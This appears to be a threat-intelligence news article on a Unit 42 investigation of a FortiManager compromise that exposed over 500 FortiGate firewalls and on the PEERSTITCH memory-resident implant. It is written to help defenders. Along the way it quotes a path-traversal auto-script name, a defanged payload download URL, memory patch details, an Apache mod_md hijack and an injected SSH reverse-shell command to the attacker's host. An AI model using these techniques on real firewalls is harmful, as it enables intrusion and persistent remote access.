PEERSTITCH Implant Shows How a FortiManager Breach Can Reach 500 Firewalls

A single compromised FortiManager appliance gave attackers access to configuration data and cryptographic material tied to more than 500 managed FortiGate firewalls. The September 2024 intrusion, investigated by Unit 42 at a telecommunications managed service provider, shows how a breach of centralized edge management can expose devices across an organization’s client network.

The investigation identified a second, less visible stage: PEERSTITCH, an ARM64 implant that runs in memory and alters FortiOS processes. It leaves no persistent binary, opens no listening port and makes no direct outbound network connection. Those choices make familiar file and network monitoring less useful, while the attackers’ access to management credentials and trust material creates a separate risk that can outlast cleanup of the original appliance.

One management system, hundreds of exposed devices

Unit 42 tracked the activity as CL-STA-0954, also known as UNC5820. The attackers first compromised a centralized FortiManager appliance by exploiting CVE-2024-47575, a flaw that external parties call FortiJump. Crafted requests to FortiManager’s FMG-Access management channel on TCP port 541 could let an unauthenticated remote attacker run commands.

During exploitation, the attackers registered a rogue Virtual FortiGate device called localhost, with serial number FMG-VMTM23017412. The registration came from external infrastructure at 45.32.41[.]202, later changed to 198.199.122[.]22. Soon after, they created an archive named .tm on the FortiManager file system and removed it from the appliance.

The archive contained running configurations, database files and cryptographic material associated with more than 500 managed firewalls. Those devices protected the provider’s systems as well as client networks. Unit 42 examined the provider’s environment, not the clients’ networks; its findings describe the exposure of configuration and credential material, rather than confirmed compromises of those client environments.

The stolen configurations included credentials stored as reversible ciphertext. Investigators recovered administrative and SSL/VPN passwords by brute-forcing the material in the archive. With valid credentials, the attackers opened unauthorized SSL/VPN sessions to perimeter firewalls from 23.240.77[.]233 and 47.18.167[.]159. That access reached internal network-management segments.

Reconnaissance through managed firewalls

After an extended period inside the environment, the attackers used the compromised management appliance to push unauthorized packet-capture settings to downstream FortiGate devices. Captures covered unencrypted HTTP traffic and 11 services on different TCP ports, allowing the attackers to collect sensitive communications and map network boundaries. They later added capture rules targeting core perimeter firewalls.

The attackers also used FortiGate-to-FortiManager, or FGFM, communications to retrieve complete running configurations from multiple managed firewalls. FGFM uses TCP port 541 and cryptographic trust material tied to device serial numbers. The initial archive included that material, along with the serial numbers and management relationships needed to identify downstream devices.

Connections from external infrastructure were followed by downloads from an administrative account named FortiGateCloud. The provider had no FortiManager Cloud tenant, and the affected firewalls had no such account provisioned. Unit 42 assessed with medium confidence that the attackers impersonated the management platform over FGFM. Investigators could not determine which of two possible paths they used.

One possible path may have involved terminating the authentic FortiManager session. Unit 42 says the attackers could have forced that interruption using CVE-2024-26008, which would be consistent with intermittent drops in the tunnel management interface. Other vulnerabilities involving the FortiGateCloud account were excluded from the investigation’s scope: they require FortiGate Cloud or FortiCloud SSO enrollment, which the affected devices did not have. The observed activity reused the account name but did not show the exploitation artifacts associated with those other issues.

How PEERSTITCH gets into FortiOS

To deploy PEERSTITCH, the attackers exploited CVE-2025-61624, a path traversal flaw in FortiOS’s system.auto-script feature. FortiOS administrators, including super_admin accounts, use a restricted command-line interface without direct shell access or control of the underlying file system and processes. The daemons implementing FortiOS run as root beneath that interface.

The flaw allows an authenticated administrator to read or write arbitrary files as root. FortiOS does not sanitize the auto-script object name, so traversal sequences can direct a script’s contents outside the intended directory. The script then runs with the auto-script engine’s privileges. In the observed intrusion, an object named ../../../../setup placed PEERSTITCH’s initial loader.

PEERSTITCH is a statically linked 64-bit Linux ARM64 executable written in C. It acts as a one-shot injector, patching memory in two core FortiOS daemons. The attackers used the auto-script mechanism to retrieve five files from hxxp[:]//23.240.77[.]233:8085/ into /data2/template/. After a delay, ipssem.js launched lldprx with the arguments lldprx!index.js!index.wasm!ipssem.js!lldprx!yyyy!pM.js.

Once running, PEERSTITCH creates a memory-resident communication bridge between /bin/miglogd and /bin/iked. It avoids ordinary socket-based communication and file-based persistence. To suppress tamper detection and alter daemon routines, it writes ARM64 no-operation instructions, 0xAA0003E0 (equivalent to MOV X0, X0), at three static offsets. A 20-byte trampoline at base + 0x135102C redirects execution to a writable, executable hook buffer. The buffer occupies 16 KB.

A second command channel through Apache

The attackers established another channel by repurposing Apache’s native mod_md module, which manages domains using the ACME protocol. An auto-script created ../../tmp/apache2/conf/md-acme.conf on affected firewalls.

Configuration files showed the module registering with an attacker-controlled ACME server and directing certificate-order requests to that infrastructure. The attackers mapped the DNS-01 challenge handler, MDChallengeDns01, to /bin/node. When Apache initiated validation, Node.js ran with parameters supplied through the remote challenge request. A debug log showed shell commands inserted into the domain field, including kali@23.240.77[.]233:8084:b -F /tmp/upfile/ssh_config -i, to start an SSH-based reverse shell.

Setting MDRenewMode always caused Apache to repeat renewal challenges. Because the challenge handler invoked Node.js, that cycle repeatedly ran the injected payload and maintained outbound reverse-shell access.

What defenders should take from the intrusion

Unit 42 reports that the attackers took extensive steps to remove forensic traces. PEERSTITCH’s in-memory execution, lack of open ports and use of legitimate processes also limit the value of conventional endpoint and network alerts. Detection therefore calls for targeted hunting in process memory, daemon behavior and FortiOS management activity. The source report includes dedicated tables of hunting methods, file hashes and network indicators, as well as a YARA rule; it does not provide those table contents in the supplied text.

The central lesson is the reach of a management-plane compromise. One appliance exposed information that could help attackers access hundreds of downstream devices, including equipment protecting client organizations. Patching the original entry point does not invalidate credentials or cryptographic trust material already taken. Organizations that manage infrastructure for others should treat that material as compromised after a management platform breach and rotate it, while isolating management interfaces and reviewing device relationships and access.

Unit 42 shared its findings with Cyber Threat Alliance members. The report also points affected organizations to the Unit 42 Incident Response team. For defenders, the next priority is to determine which managed devices trusted the compromised platform and whether their credentials and trust relationships have been replaced.